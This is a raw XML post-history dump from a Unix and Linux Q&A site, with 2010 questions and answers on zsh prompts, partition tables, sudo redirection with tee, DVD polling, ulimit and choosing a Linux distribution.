  <row Id="2716" PostHistoryTypeId="2" PostId="1401" RevisionGUID="d4121d3f-b907-46b2-83ed-8f9cfb9d2ab1" CreationDate="2010-08-30T16:26:39.653" UserId="1207" Text="[Evolution][1] can be set up to read system mail.  When setting up an account, simply choose &quot;Local Delivery&quot; as the server type on the &quot;Receiving Mail&quot; portion of the setup.  Then, on that same page, set the &quot;Path&quot; to /var/mail/&lt;username&gt; or wherever your mail spool is.  &#xD;&#xA;&#xD;&#xA;The &quot;Local Delivery&quot; option will delete the mail from /var/mail/&lt;username&gt;.  If you use the &quot;Standard Unix mbox spool file&quot; will not.&#xD;&#xA;&#xD;&#xA;Whether or not you want to call Evolution &quot;simple&quot; is another matter.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://projects.gnome.org/evolution/" />
  <row Id="2717" PostHistoryTypeId="2" PostId="1402" RevisionGUID="54eaf36b-9bbe-45fc-ac2b-f55fe0049199" CreationDate="2010-08-30T16:57:58.910" UserId="305" Text="There is no default partition format for Linux. It can handle many of popular and less popular formats.&#xD;&#xA;&#xD;&#xA;The type is determined by the tool you are using. `fdisk` can handle standard MS-DOS partition tables while `parted` can handle GUID partition tables as well. You can create other tools for any format you like.&#xD;&#xA;&#xD;&#xA;Most distributions will create MS-DOS partitions on standard PC and possibly use GUID tables on Macs for simple reason - Windows cannot boot from GUID partition table with BIOS (which is on standard PC) - only EFI (which is on Macs).&#xD;&#xA;&#xD;&#xA;As for second part - `fdisk -l` presented will print standard partitions (thosed used on MS DOS). `parted -l` will show all &quot;partitions&quot; - including for example LVM logical volumes.&#xD;&#xA;&#xD;&#xA;**EDIT:** If you want to bump partition table (binary) use `dd if=/dev/your_disk count=1`.&#xD;&#xA;" />
  <row Id="2718" PostHistoryTypeId="2" PostId="1403" RevisionGUID="7d5551a4-e3ba-45cc-b30f-a0771defc354" CreationDate="2010-08-30T17:08:50.417" UserId="1131" Text="The message refers to Hunk 16.&#xD;&#xA;&#xD;&#xA;This [git hub discussion][1] is probably related to your issue.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://support.github.com/discussions/repos/1784-patch-file-problem" />
  <row Id="2719" PostHistoryTypeId="2" PostId="1404" RevisionGUID="93521fb7-c888-4fd7-a81e-1df39676bcd0" CreationDate="2010-08-30T17:11:54.013" UserId="4" Text="According to the [Bash Reference Manual][1], it's about convenience.&#xD;&#xA;&#xD;&#xA;The [Advanced Bash Scripting Guide][2] has a more detailed explanation:&#xD;&#xA;&#xD;&#xA;&gt; &quot;A builtin  is a command contained&#xD;&#xA;&gt; within the Bash tool set, literally&#xD;&#xA;&gt; built in. This is either for&#xD;&#xA;&gt; performance reasons -- builtins&#xD;&#xA;&gt; execute faster than external commands,&#xD;&#xA;&gt; which usually require forking off  [1]&#xD;&#xA;&gt; a separate process -- or because a&#xD;&#xA;&gt; particular builtin needs direct access&#xD;&#xA;&gt; to the shell internals.&quot;&#xD;&#xA;&#xD;&#xA;Also note that `echo` does exist as a standalone utility on some systems. Here's what I have on my Darwin system (MacOSX 10.5.8 - Leopard) &#xD;&#xA;&#xD;&#xA;    $ uname -a&#xD;&#xA;    Darwin host.foo.org 9.8.0 Darwin Kernel Version 9.8.0: Wed Jul 15 16:55:01 PDT 2009; root:xnu-1228.15.4~1/RELEASE_I386 i386&#xD;&#xA;    $ bash --version&#xD;&#xA;    GNU bash, version 3.2.17(1)-release (i386-apple-darwin9.0)&#xD;&#xA;    Copyright (C) 2005 Free Software Foundation, Inc.&#xD;&#xA;    $ which echo&#xD;&#xA;    /bin/echo&#xD;&#xA;&#xD;&#xA;`echo` is also available as a builtin, but apparently my scripts use /bin/echo on my Mac, and use a Bash builtin on most of my Linux &amp; FreeBSD systems. But that doesn't seem to matter, because the scripts still work fine everywhere.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/bashref.html#What-is-a-shell_003f&#xD;&#xA;  [2]: http://tldp.org/LDP/abs/html/internal.html" />
  <row Id="2725" PostHistoryTypeId="5" PostId="1019" RevisionGUID="d724438a-2e4a-4516-8826-0cb65f55e993" CreationDate="2010-08-30T18:42:13.283" UserId="73" Comment="added 2 characters in body" Text="I found [this][1] via [SU][2]. Here's the basic example, though I'm still customizing it for myself:&#xD;&#xA;&#xD;&#xA;    function zle-line-init zle-keymap-select {&#xD;&#xA;        RPS1=&quot;${${KEYMAP/vicmd/-- NORMAL --}/(main|viins)/-- INSERT --}&quot;&#xD;&#xA;        RPS2=$RPS1&#xD;&#xA;        zle reset-prompt&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    zle -N zle-line-init&#xD;&#xA;    zle -N zle-keymap-select&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'd explain it except I don't really understand it yet&#xD;&#xA;&#xD;&#xA;  [1]: http://zshwiki.org/home/examples/zlewidgets&#xD;&#xA;  [2]: http://superuser.com/questions/151803/how-do-i-customize-zshs-vim-mode" />
  <row Id="2726" PostHistoryTypeId="2" PostId="1406" RevisionGUID="87f6e281-40e8-4b9c-a5f5-a1a3bf56f766" CreationDate="2010-08-30T19:01:36.200" UserId="1184" Text="`%(!.%{\e[1;31m%}%m%{\e[0m%}.%{\e[0;33m%}%m%{\e[0m%})` &#xD;&#xA;&#xD;&#xA;That *should* work to change the hostname (`%m`) a different color (red) if you are root.  I don't have a zsh shell to test it on but it looks correct.&#xD;&#xA;&#xD;&#xA;Here's why:&#xD;&#xA;&#xD;&#xA;`%(x.true.false)` :: Based on the evaluation of first term of the ternary, execute the correct statement.  '!' is true if the shell is privileged.  In fact `%#` is a shortcut for `%(!.#.%)`.&#xD;&#xA;&#xD;&#xA;`%{\e[1;31m%} %m %{\e[0m%}` :: the `%{\e[X;Ym%}` is the color escape sequence with X as formatting (bold, underline, etc) and Y as the color code.  Note you need to open and close the sequence around the term you are looking to change the color otherwise everything after that point will be whatever color.  I've added spaces here around the prompt term `%m` for clarity. &#xD;&#xA;&#xD;&#xA;http://www.nparikh.org/unix/prompt.php has more options and details around the color tables and other available options for zsh." />
  <row Id="2727" PostHistoryTypeId="5" PostId="31" RevisionGUID="d2893d08-56e9-48b6-a131-1b4ec4e6c0f9" CreationDate="2010-08-30T20:04:18.463" UserId="80" Comment="added 14 characters in body; edited tags" Text="Rather than ask for your favorite, lets just list them off.&#xD;&#xA;&#xD;&#xA;What are the more useful commands inside `less`?&#xD;&#xA;&#xD;&#xA;Personally, I use:&#xD;&#xA;&#xD;&#xA; - `/` (search forward)&#xD;&#xA; - `?` (search backwards) &#xD;&#xA; - `F` (enable    tail -f like behvaior,&#xD;&#xA;   Ctrl-C to    break out of it) &#xD;&#xA; - `v`    (open file in $EDITOR for editing, defaults to vi/vim)&#xD;&#xA;&#xD;&#xA;Others?" />
  <row Id="2728" PostHistoryTypeId="6" PostId="31" RevisionGUID="d2893d08-56e9-48b6-a131-1b4ec4e6c0f9" CreationDate="2010-08-30T20:04:18.463" UserId="80" Comment="added 14 characters in body; edited tags" Text="écommandölineàéutilitiesàélessà" />
  <row Id="2729" PostHistoryTypeId="2" PostId="1407" RevisionGUID="08bf2738-8ebf-40c9-a49a-912ebef12018" CreationDate="2010-08-30T20:05:30.010" UserId="614" Text="If **chsh** or manually editing the config won't work, but a ~/.profile script is executed at login, add this line:&#xD;&#xA;&#xD;&#xA;    exec /bin/bash --login" />
  <row Id="2730" PostHistoryTypeId="2" PostId="1408" RevisionGUID="98d584d8-e42a-4552-ac4a-292a8fdec214" CreationDate="2010-08-30T20:14:06.730" UserId="80" Text="While SUSEStudio can be used to build your own distro, if you so choose, I think it has a slightly different end goal.  &#xD;&#xA;&#xD;&#xA;Novell has more of the notion of building applications, that include an OS and everything ready to go, and are patchable/maintainable. &#xD;&#xA;&#xD;&#xA;For example, if you have some application that is reasonably tricky to install on arbitrary Linux variants, it would be pretty straightforward to build a SUSE Studio image, configure your application once, and for anyone wanting to use your application, offer it as an ISO/VM/Appliance style thing.  This makes more sense in a commercial space than in the free space, but it does have a place. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="2732" PostHistoryTypeId="2" PostId="1410" RevisionGUID="d1da24cd-a5c9-42c6-9ebf-6013eadcc35f" CreationDate="2010-08-30T20:52:25.580" UserId="885" Text="    autoload colors&#xD;&#xA;    colors&#xD;&#xA;    PS1=&quot;%~ %{%(#~$fg[red]~$fg[blue])%}%#%{$fg[default]%} &quot;&#xD;&#xA;&#xD;&#xA;`%(#` tests whether the shell is running as root. Changing this to `%(!` tests whether the shell is running with elevated privileges (which covers things like `newgrp`, but not logging in as root).&#xD;&#xA;" />
  <row Id="2733" PostHistoryTypeId="2" PostId="1411" RevisionGUID="757a981b-4146-45e4-91c4-5107b427b5bd" CreationDate="2010-08-30T21:02:49.163" UserId="885" Text="If you install Linux on a PC, the installation program will create one or more partitions in a format that is compatible with DOS, OS/2 and Windows, because that's the de facto standard for partitions on a PC.&#xD;&#xA;&#xD;&#xA;If you install Linux on some other kind of hardware, the installation program may use a different partitioning scheme. Linux supports a lot of different schemes (you can see them all in the kernel configuration — search `CONFIG_.*_PARTITION` in `/boot/config-*`).&#xD;&#xA;&#xD;&#xA;Even on a PC, you might see other partition types for a variety of reasons: because you went out of your way to create them, because you inserted a disk from some other architecture, because you have another operating system that uses different partition types (e.g. *BSD, Solaris).&#xD;&#xA;" />
  <row Id="2734" PostHistoryTypeId="2" PostId="1412" RevisionGUID="7585c658-27e0-49a3-8006-dfd809332312" CreationDate="2010-08-30T21:55:15.713" UserId="382" Text="For shells such as Bash, Korn and Z that have process substitution, you can do this:&#xD;&#xA;&#xD;&#xA;    find file | tee &gt;(xargs commandA) &gt;(xargs commandB) &gt;(xargs perl -ne '...')" />
  <row Id="2735" PostHistoryTypeId="2" PostId="1413" RevisionGUID="a265005a-4014-4abe-be2f-772e65627abd" CreationDate="2010-08-31T00:32:09.583" UserId="1323" Text="A common cause of this behavior is device polling by deamons like hald and udevd. You can temporarily disable polling by hald and udev to see if these may be the cause in your case.&#xD;&#xA;&#xD;&#xA;If you are running hald:&#xD;&#xA;&#xD;&#xA;    hal-disable-polling --device /dev/dvd&#xD;&#xA;&#xD;&#xA;Note your DVD drive may not be symlinked /dev/dvd, it could be /dev/sr0, /dev/dvd0, etc. If you get an error like &quot;Cannot find storage device /dev/dvd&quot;, you can try one of the other device names.&#xD;&#xA;&#xD;&#xA;Now temporarily stop polling by udev with this:&#xD;&#xA;&#xD;&#xA;    udisks --inhibit-polling /dev/dvd&#xD;&#xA;&#xD;&#xA;(this command will appear to hang - it is disabling polling until you hit `Ctrl-c`)&#xD;&#xA;&#xD;&#xA;If this stops your device from frequently spinning, see my notes below about making the udev rule changes.&#xD;&#xA;&#xD;&#xA;If disabling hald and udisks polling makes no difference, then you can re-enable hald control of the device with this:&#xD;&#xA;&#xD;&#xA;    hal-disable-polling --enable-polling --device /dev/dvd&#xD;&#xA;&#xD;&#xA;Disabling polling of your DVD device may have the side effect of requiring you to mount optical media manually. Your drive may continue to provide notification to udev that it should take some action upon media insertion.&#xD;&#xA;&#xD;&#xA;Making udisks ignore your optical device is a simple rule. I put mine in /etc/udev/rules.d/99-device-polling.rules:&#xD;&#xA;&#xD;&#xA;    SUBSYSTEM==&quot;block&quot;, \&#xD;&#xA;       ENV{ID_VENDOR}==&quot;MATSHITA*&quot;, \&#xD;&#xA;       ENV{ID_MODEL}==&quot;*UJ-850*&quot;, \&#xD;&#xA;       ENV{UDISKS_DISABLE_POLLING}=&quot;1&quot;&#xD;&#xA;&#xD;&#xA;Get your vendor and model strings from the output of `udisks --show-info /dev/dvd`. Make the changes active by running `udevadm trigger`, then re-examine `udisks --show-info /dev/dvd` and note the line &quot;detection by polling:&quot; - it should be 0.&#xD;&#xA;" />
  <row Id="2736" PostHistoryTypeId="2" PostId="1414" RevisionGUID="67508ec0-370e-4d48-bac9-2a7f8665f533" CreationDate="2010-08-31T01:18:31.140" UserId="1290" Text="The latest Vim release is awesome!&#xD;&#xA;&#xD;&#xA;I compiled it with `--enable-luainterp=yes` and it does have the Lua feature:&#xD;&#xA;&#xD;&#xA;    % gvim --version | egrep '\+lua'&#xD;&#xA;    +linebreak +lispindent +listcmds +localmap +lua +menu +mksession +modify_fname &#xD;&#xA;&#xD;&#xA;But how do I actually use it? Up until now, I was always using Vim script for my files, but how do I let it interpret Lua? And what are the bindings that I can use from inside Lua?" />
  <row Id="2737" PostHistoryTypeId="1" PostId="1414" RevisionGUID="67508ec0-370e-4d48-bac9-2a7f8665f533" CreationDate="2010-08-31T01:18:31.140" UserId="1290" Text="Vim 2.3 with Lua: How do I use it?" />
  <row Id="2738" PostHistoryTypeId="3" PostId="1414" RevisionGUID="67508ec0-370e-4d48-bac9-2a7f8665f533" CreationDate="2010-08-31T01:18:31.140" UserId="1290" Text="évimà" />
  <row Id="2739" PostHistoryTypeId="2" PostId="1415" RevisionGUID="4b41e71d-f228-4115-811e-b8bfc81b2666" CreationDate="2010-08-31T02:23:45.403" UserId="1071" Text="I wouldn't vote for this myself. It's silly and dangerous, but just in the interest of listing the ways to do this, there's:&#xD;&#xA;&#xD;&#xA;`for cmd in &quot;commandA&quot; &quot;commandB&quot; &quot;perl -ne '...'&quot; ; do eval $cmd file ; done`" />
  <row Id="2740" PostHistoryTypeId="2" PostId="1416" RevisionGUID="591a15ab-daa8-4de8-9b4b-4e2476bd90d9" CreationDate="2010-08-31T06:18:06.020" UserId="73" Text="When you attempt to modify a file without having write permissions on it, you get an error:&#xD;&#xA;&#xD;&#xA;    &gt; touch /tmp/foo &amp;&amp; sudo chown root /tmp/foo&#xD;&#xA;    &gt; echo test &gt; /tmp/foo&#xD;&#xA;    zsh: permission denied: /tmp/foo&#xD;&#xA;&#xD;&#xA;Sudoing doesn't help, because it runs the command as root, but the shell handles redirecting stdout and opens the file as you anyway:&#xD;&#xA;&#xD;&#xA;    &gt; sudo echo test &gt; /tmp/foo&#xD;&#xA;    zsh: permission denied: /tmp/foo&#xD;&#xA;&#xD;&#xA;Is there an easy way to redirect stdout to a file you don't have permission to write to, besides opening a shell as root and manipulating the file that way?&#xD;&#xA;&#xD;&#xA;    &gt; sudo su&#xD;&#xA;    # echo test &gt; /tmp/foo&#xD;&#xA;" />
  <row Id="2741" PostHistoryTypeId="1" PostId="1416" RevisionGUID="591a15ab-daa8-4de8-9b4b-4e2476bd90d9" CreationDate="2010-08-31T06:18:06.020" UserId="73" Text="Redirecting stdout to a file you don't have write permission on" />
  <row Id="2742" PostHistoryTypeId="3" PostId="1416" RevisionGUID="591a15ab-daa8-4de8-9b4b-4e2476bd90d9" CreationDate="2010-08-31T06:18:06.020" UserId="73" Text="éshellàépermissionsàéioàéioöredirectionà" />
  <row Id="2743" PostHistoryTypeId="2" PostId="1417" RevisionGUID="38965d04-5c41-4e7e-9bdb-839bf415e423" CreationDate="2010-08-31T06:47:35.743" UserId="252" Text="Yes, using ``tee``. So ``echo test &gt; /tmp`` becomes &#xD;&#xA;&#xD;&#xA;    echo test | sudo tee /tmp/foo&#xD;&#xA;&#xD;&#xA;You can also append (``&gt;&gt;``)&#xD;&#xA;&#xD;&#xA;    echo test | sudo tee -a /tmp/foo" />
  <row Id="2744" PostHistoryTypeId="5" PostId="1417" RevisionGUID="52bdd531-442e-4837-93ad-dc5ae4c75cee" CreationDate="2010-08-31T06:59:21.807" UserId="138" Comment="replaced doubled backquotes with singles, and fixed &quot;/tmp/foo&quot; in first line" Text="Yes, using `tee`. So `echo test &gt; /tmp/foo` becomes &#xD;&#xA;&#xD;&#xA;    echo test | sudo tee /tmp/foo&#xD;&#xA;&#xD;&#xA;You can also append (`&gt;&gt;`)&#xD;&#xA;&#xD;&#xA;    echo test | sudo tee -a /tmp/foo" />
  <row Id="2745" PostHistoryTypeId="2" PostId="1418" RevisionGUID="ac67395e-b157-4304-8d94-e9925814dcfb" CreationDate="2010-08-31T07:28:31.717" UserId="250" Text="`tee` is surely a good choice, but how about this?&#xD;&#xA;&#xD;&#xA;    sudo -i eval &quot;echo test &gt; /tmp/foo&quot;" />
  <row Id="2746" PostHistoryTypeId="2" PostId="1419" RevisionGUID="5af03a9f-9dc4-4549-a4e0-b59b46a348d5" CreationDate="2010-08-31T09:06:42.810" UserId="269" Text="When trying to print I get this error. What does it mean?&#xD;&#xA;&#xD;&#xA;(Please add &quot;printing&quot; as a tag.)" />
  <row Id="2747" PostHistoryTypeId="1" PostId="1419" RevisionGUID="5af03a9f-9dc4-4549-a4e0-b59b46a348d5" CreationDate="2010-08-31T09:06:42.810" UserId="269" Text="What does &quot;Empty print file&quot; mean?" />
  <row Id="2748" PostHistoryTypeId="3" PostId="1419" RevisionGUID="5af03a9f-9dc4-4549-a4e0-b59b46a348d5" CreationDate="2010-08-31T09:06:42.810" UserId="269" Text="élinuxà" />
  <row Id="2749" PostHistoryTypeId="2" PostId="1420" RevisionGUID="28d88572-3e30-4a21-aef6-615b393d1a26" CreationDate="2010-08-31T09:31:29.217" UserId="922" Text="So Vim 7.3 is new enough that there isn't much information about the Lua integration. However, vim has had similar support for python, ruby, perl, and tcl. So:&#xD;&#xA;&#xD;&#xA;[Simple tutorial for python][1]&#xD;&#xA;&#xD;&#xA;[Another python guide][2]&#xD;&#xA;&#xD;&#xA;As well as example tutorials for the other languages, you should definitely read the vim help for Lua, do&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;     :h lua&#xD;&#xA;&#xD;&#xA;to see comprehensive help and some examples. Have fun!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tmske.blogspot.com/2007/05/python-scripting-in-vim-1.html&#xD;&#xA;  [2]: http://orestis.gr/blog/2008/08/10/scripting-vim-with-python/" />
  <row Id="2750" PostHistoryTypeId="5" PostId="1399" RevisionGUID="5c166952-80bc-479c-a4d3-cba9733c0d12" CreationDate="2010-08-31T09:31:30.623" UserId="305" Comment="added 171 characters in body; added 113 characters in body" Text="DVD drive constantly spins up/down when idle on notebook. I cannot track what is causing it.&#xD;&#xA;The process of spinning up/down is quite noisy and disturbing.&#xD;&#xA;&#xD;&#xA;`lsof` cannot find anything that have device file opened or anything that keeps any file opened. It is some regression but I don't see any update that might have caused it.&#xD;&#xA;&#xD;&#xA;Drive is mount/unmount by usdisk.&#xD;&#xA;&#xD;&#xA;**EDIT:** To answer:&#xD;&#xA;&#xD;&#xA;1. It is regression I need to pinpoint&#xD;&#xA;2. There is no errors in dmesg&#xD;&#xA;3. It happens when disk is mounted&#xD;&#xA;4. It worked in past with pooling&#xD;&#xA;5. The only recent chang was rebuild of udisks with patch named &quot;Fix long hangs on probing nonexistant floppies.&quot;" />
  <row Id="2751" PostHistoryTypeId="6" PostId="1419" RevisionGUID="789e3afa-eacd-4eb8-beca-35dd9e3008c1" CreationDate="2010-08-31T09:52:32.417" UserId="880" Comment="edited tags" Text="élinuxàéprintingà" />
  <row Id="2752" PostHistoryTypeId="2" PostId="1421" RevisionGUID="7c0ec657-a529-47d2-8cf1-9452de0402e2" CreationDate="2010-08-31T10:03:22.767" UserId="1339" Text="This question can't be simply answered.&#xD;&#xA;It usually means that something with your printing device driver is messed up.&#xD;&#xA;&#xD;&#xA;Any additional information?&#xD;&#xA;&#xD;&#xA;Most likely you are using CUPS.&#xD;&#xA;&#xD;&#xA;Did you have a look at the logfiles? /var/log/cups/ ?&#xD;&#xA;&#xD;&#xA;Maybe this will help you, to specify your questions.&#xD;&#xA;&#xD;&#xA;Try to do some printing at a low level to eliminate any error sources with some applications. Have a read through the manual: http://www.cups.org/documentation.php especially at &quot;Command Line Printing&quot; http://www.cups.org/documentation.php/doc-1.4/options.html&#xD;&#xA;&#xD;&#xA;This will give you some basic diagnostic tools." />
  <row Id="2753" PostHistoryTypeId="2" PostId="1422" RevisionGUID="e7e07d57-4542-4f68-8491-b562925be896" CreationDate="2010-08-31T10:16:58.950" UserId="1339" Text="A simple `halt` recognizing some seconds later that I'm not on a local shell and having no possibility to power on the production server again.&#xD;&#xA;&#xD;&#xA;Lessons learned?&#xD;&#xA;The prompt of the machine now looks like &#xD;&#xA;&#xD;&#xA;`[ --&gt; root &lt;-- @kompost:/home/echox] #` &#xD;&#xA;&#xD;&#xA;with some nice red markup ;-)" />
  <row Id="2754" PostHistoryTypeId="16" PostId="1422" RevisionGUID="e7e07d57-4542-4f68-8491-b562925be896" CreationDate="2010-08-31T10:16:58.950" UserId="-1" />
  <row Id="2755" PostHistoryTypeId="2" PostId="1423" RevisionGUID="297d92d6-5bda-4265-9891-0a5d5c9d470d" CreationDate="2010-08-31T10:30:04.930" UserId="1339" Text="Your IPod should work with gtkpod which uses the libgpod library, like almost every linux application.&#xD;&#xA;&#xD;&#xA;Have a look at http://gtkpod.wikispaces.com/Supported+iPods for your model.&#xD;&#xA;After that, have a look at the &quot;Getting Started&quot; Page of the gtkpod project:&#xD;&#xA;http://www.gtkpod.org/wiki/Getting_started&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2756" PostHistoryTypeId="5" PostId="1350" RevisionGUID="a9e35148-89dd-401f-8dee-e164b5fd0aa7" CreationDate="2010-08-31T10:40:44.707" UserId="1298" Comment="added 19 characters in body; added 6 characters in body" Text="All you need to do is format the usb stick in a format linux can boot from, for example ext3.&#xD;&#xA;&#xD;&#xA;Then you copy the content of a live-cd or full distro on the USB stick.&#xD;&#xA;Afterwards, you need to mark the USB parition as 'ACTIVE' somehow.&#xD;&#xA;&#xD;&#xA;Then you need to go into the BIOS of the computer and set the primary boot device to USB.&#xD;&#xA;Then you restart.&#xD;&#xA;&#xD;&#xA;If all goes well, Linux boots.&lt;br /&gt;&#xD;&#xA;If it doesn't, something was done incorrectly.&lt;br /&gt;&#xD;&#xA;It's clearly possible, I've done it on my Dell notebook." />
  <row Id="2757" PostHistoryTypeId="4" PostId="1414" RevisionGUID="63a7c614-dc48-4f55-b99f-b842cd26b525" CreationDate="2010-08-31T12:11:30.903" UserId="1290" Comment="edited title" Text="Vim 7.3 with Lua: How do I use it?" />
  <row Id="2758" PostHistoryTypeId="2" PostId="1424" RevisionGUID="2469b9d1-d907-47f4-a9f4-cd754ffc0aff" CreationDate="2010-08-31T12:31:42.027" UserId="912" Text="I need to test a process for memory management.&#xD;&#xA;&#xD;&#xA;  - I do not have the source, so I need to do all the testing from the OS side.&#xD;&#xA;  - I want to be able to say something like **`limitmemory 400k -p &lt;pid&gt;`**&#xD;&#xA;&#xD;&#xA;Is there a way to do this in unix?&#xD;&#xA;Any common unix utility would be excellent." />
  <row Id="2759" PostHistoryTypeId="1" PostId="1424" RevisionGUID="2469b9d1-d907-47f4-a9f4-cd754ffc0aff" CreationDate="2010-08-31T12:31:42.027" UserId="912" Text="Is there a way to limit the amount of memory a particular process can use in Unix?" />
  <row Id="2760" PostHistoryTypeId="3" PostId="1424" RevisionGUID="2469b9d1-d907-47f4-a9f4-cd754ffc0aff" CreationDate="2010-08-31T12:31:42.027" UserId="912" Text="élinuxàéunixàéprocessàémemoryà" />
  <row Id="2761" PostHistoryTypeId="2" PostId="1425" RevisionGUID="29e44e6e-b3b5-4d15-8a61-ca8eadac140d" CreationDate="2010-08-31T12:35:42.103" UserId="1290" Text="`ulimit -v`, it's a shell builtin, but it should do what you want." />
  <row Id="2762" PostHistoryTypeId="6" PostId="1414" RevisionGUID="2edfbe34-7fcf-43a5-b938-70d071a03b3c" CreationDate="2010-08-31T12:36:50.080" UserId="1290" Comment="edited tags" Text="évimà" />
  <row Id="2763" PostHistoryTypeId="6" PostId="1381" RevisionGUID="5eb152bb-9a11-4a38-a29c-cd029e428474" CreationDate="2010-08-31T12:37:47.807" UserId="1290" Comment="edited tags" Text="ésolarisàézfsàéopensolarisàéoracleà" />
  <row Id="2764" PostHistoryTypeId="5" PostId="1419" RevisionGUID="dc661582-ba6b-4041-91f7-8c05ca140349" CreationDate="2010-08-31T14:22:13.140" UserId="73" Comment="deleted 35 characters in body" Text="When trying to print I get this error. What does it mean?&#xD;&#xA;" />
  <row Id="2765" PostHistoryTypeId="2" PostId="1426" RevisionGUID="0961330b-aff6-41ce-a30b-8e56403313e2" CreationDate="2010-08-31T14:23:25.723" UserId="391" Text="(I might be pushing the bounds of what is on-topic, but I tried to distill this down to a very specific question that people can answer. There's not going to be a singular right answer, so I've made this a community wiki. I hope the community finds this acceptable.)&#xD;&#xA;&#xD;&#xA;I'm currently looking at putting a Linux (although BSD is still an option) distribution on my old laptop. However, I'm not sure how to wade through all of my options - rolling releases versus not, Distribution X versus Distribution Y (I, personally, have been looking at Debian, Ubuntu, Fedora, Arch, and OpenSUSE, but I suppose that's a personal preference), and so on. To be honest, it's difficult to make a choice.&#xD;&#xA;&#xD;&#xA;When you are installing a distribution, how do you decide which one you want to use? Is it personal preference (you use your favorite distribution) or is there some guidance as to what distributions are better at specific tasks or for specific users?" />
  <row Id="2766" PostHistoryTypeId="1" PostId="1426" RevisionGUID="0961330b-aff6-41ce-a30b-8e56403313e2" CreationDate="2010-08-31T14:23:25.723" UserId="391" Text="How do you choose a distribution?" />
  <row Id="2767" PostHistoryTypeId="3" PostId="1426" RevisionGUID="0961330b-aff6-41ce-a30b-8e56403313e2" CreationDate="2010-08-31T14:23:25.723" UserId="391" Text="édistrosà" />
  <row Id="2768" PostHistoryTypeId="16" PostId="1426" RevisionGUID="0961330b-aff6-41ce-a30b-8e56403313e2" CreationDate="2010-08-31T14:23:25.723" UserId="391" />
  <row Id="2769" PostHistoryTypeId="2" PostId="1427" RevisionGUID="1cf5a2e0-eccc-4403-a04b-84a8b0b0a56c" CreationDate="2010-08-31T14:51:23.010" UserId="159" Text="I'm looking into installing a file server on my network, for serving data and backups.&#xD;&#xA;&#xD;&#xA;I want this machine to be available at all times, but I would rather not keep it on all the time (as to conserve power).&#xD;&#xA;&#xD;&#xA;Is it possible to set things up so that the thing automatically suspends (or powers off) after some time and then automatically powers back on when I try to connect to it (using some wake-up on LAN magic, without having to send explicit WOL packets)?" />
  <row Id="2770" PostHistoryTypeId="1" PostId="1427" RevisionGUID="1cf5a2e0-eccc-4403-a04b-84a8b0b0a56c" CreationDate="2010-08-31T14:51:23.010" UserId="159" Text="How to power off a system but still keep it available on the network" />
  <row Id="2771" PostHistoryTypeId="3" PostId="1427" RevisionGUID="1cf5a2e0-eccc-4403-a04b-84a8b0b0a56c" CreationDate="2010-08-31T14:51:23.010" UserId="159" Text="énetworkingà" />
  <row Id="2772" PostHistoryTypeId="2" PostId="1428" RevisionGUID="4137218a-370b-4de1-990f-935c31471d74" CreationDate="2010-08-31T15:24:14.680" UserId="305" Text="If you know polish there is wonderful [quiz and 1 vs. 1 comparation][1]. Unfortunatly I don't think it was translated (maybe Google Translator would work?) - there are however [other quizes][2] &#xD;&#xA;&#xD;&#xA;Generally it depends how much:&#xD;&#xA;&#xD;&#xA;1. You know about systems&#xD;&#xA;2. You want to have it automated - do you want to fine-tune system or have it 'just working'&#xD;&#xA;3. What is the purpose&#xD;&#xA;&#xD;&#xA;Especially if you don't know anything and you don't want to spent much time I would advice [Ubuntu][3] as both user-friendly and having large and active community. You may want to try other user-friendly systems.&#xD;&#xA;&#xD;&#xA;If you want to go into deep of system I'd advice using more command-line oriented systems like [Arch Linux][4], [Gentoo Linux][5] or [Slackware][6]. IMHO especially  [Gentoo Linux][7] is good for crash run as you **will** run into various problems from inexperience and you **will** learn to solve it.&#xD;&#xA;&#xD;&#xA;On servers traditionally [Debian][8] or [Slackware][9] is used however there are many other systems.&#xD;&#xA;&#xD;&#xA;However there are people who uses [Debian][10] testing or unstable as desktop systems successfully or use [Gentoo Linux][11] on production servers.&#xD;&#xA;&#xD;&#xA;As of BSD they tend to have smaller communities which is disadvantage with the first-contact-with-*nix situations. [FreeBSD][12] traditionally is all around operating system while [NetBSD][13] tends to run on everything. [OpenBSD][14] tends to sacrifice everything in name of security and is considered rock stable even if sometimes somehow slowish.&#xD;&#xA;&#xD;&#xA;The good thing is that most distribution are free so you can just try them. Many have Live CD or Live USB which allows you to try them without installing (some of them functions only as Live CD - such as for example [Knoppix][15] or [System Rescue CD][16]). There are many distributions which I haven't listed such as those written specificly for router.&#xD;&#xA;&#xD;&#xA;Yes - the variety of choises is mixed blessing and I'm afraid the only way is to try them to find something for yourself. If you don't want to try and you want to have something just working - probably &#xD;&#xA;[Ubuntu][17] should be your first shot.&#xD;&#xA;&#xD;&#xA;As of my configuration - I use [Gentoo Linux][18] on semi-production laptop and [FreeBSD][19] on home server but I would considered myself an advanced user.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jakilinux.org/jaki-linux/&#xD;&#xA;  [2]: http://www.google.com/search?q=linux+distribution+quiz&#xD;&#xA;  [3]: http://www.ubuntu.com/&#xD;&#xA;  [4]: http://www.archlinux.org/&#xD;&#xA;  [5]: http://www.gentoo.org&#xD;&#xA;  [6]: http://www.slackware.com/&#xD;&#xA;  [7]: http://www.gentoo.org&#xD;&#xA;  [8]: http://www.debian.org/&#xD;&#xA;  [9]: http://www.slackware.com/&#xD;&#xA;  [10]: http://www.debian.org/&#xD;&#xA;  [11]: http://www.gentoo.org&#xD;&#xA;  [12]: http://www.freebsd.org&#xD;&#xA;  [13]: http://www.netbsd.org&#xD;&#xA;  [14]: http://www.openbsd.org&#xD;&#xA;  [15]: http://www.knoppix.net/&#xD;&#xA;  [16]: http://www.sysresccd.org/&#xD;&#xA;  [17]: http://www.ubuntu.com/&#xD;&#xA;  [18]: http://www.gentoo.org&#xD;&#xA;  [19]: http://www.freebsd.org" />
  <row Id="2773" PostHistoryTypeId="16" PostId="1428" RevisionGUID="4137218a-370b-4de1-990f-935c31471d74" CreationDate="2010-08-31T15:24:14.680" UserId="-1" />
